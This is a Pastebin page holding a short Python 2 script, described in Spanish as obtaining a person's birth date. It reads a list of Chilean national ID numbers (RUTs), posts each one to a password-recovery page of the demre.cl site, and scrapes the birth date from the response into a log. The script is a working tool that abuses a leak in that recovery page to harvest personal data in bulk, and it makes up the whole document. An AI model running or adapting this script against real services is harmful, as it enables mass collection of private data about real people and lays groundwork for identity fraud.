SHARE
TWEET

[Script] Obtención de la fecha de nacimiento de una persona.

jefesin Aug 12th, 2011 10,462 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. #-*- coding:utf-8 -*-
  3.  
  4.  
  5. import urllib2
  6. import urllib
  7.  
  8. rut = open('Rut.txt', 'r') # El archivo Rut.txt debe contener el rut de la forma 11111111-1
  9. log = open('log.txt', 'w') # Aqui se guardaran los resultados con la estructura [rut fecha]
  10. rut_leido = rut.readlines()
  11. url = "http://recuperaclave.demre.cl/recuperaclave/RecuperaClave.action" # La URL en cuestion
  12.  
  13.  
  14. def nacimiento():
  15.     for x in range(0, len(rut_leido)): # Para cada ususario hacemos el bucle
  16.         usuario = 'c' + rut_leido[x] # la pagina espera el rut con un 'c' al principio
  17.         datos = {"usuarioIdVO": usuario} # Los parametros a postear
  18.         parametros = urllib.urlencode(datos)
  19.         pagina = urllib2.urlopen(url, parametros)
  20.         codigo = pagina.readlines()
  21.         usr = usuario[1:-1] # Borramos el 'c' del principio y el \n' del final
  22.         if len(codigo) == 154: # si la pagina resultane es de 154 lineas asepto el rut
  23.             log.write(usr + ' ' + codigo[101][17:25] + '\n')
  24.             print usr, codigo[101][17:25]
  25.     log.close() # cerramos los archivos
  26.     rut.close() # cerramos los archivos
  27.  
  28.  
  29. nacimiento()
RAW Paste Data
Top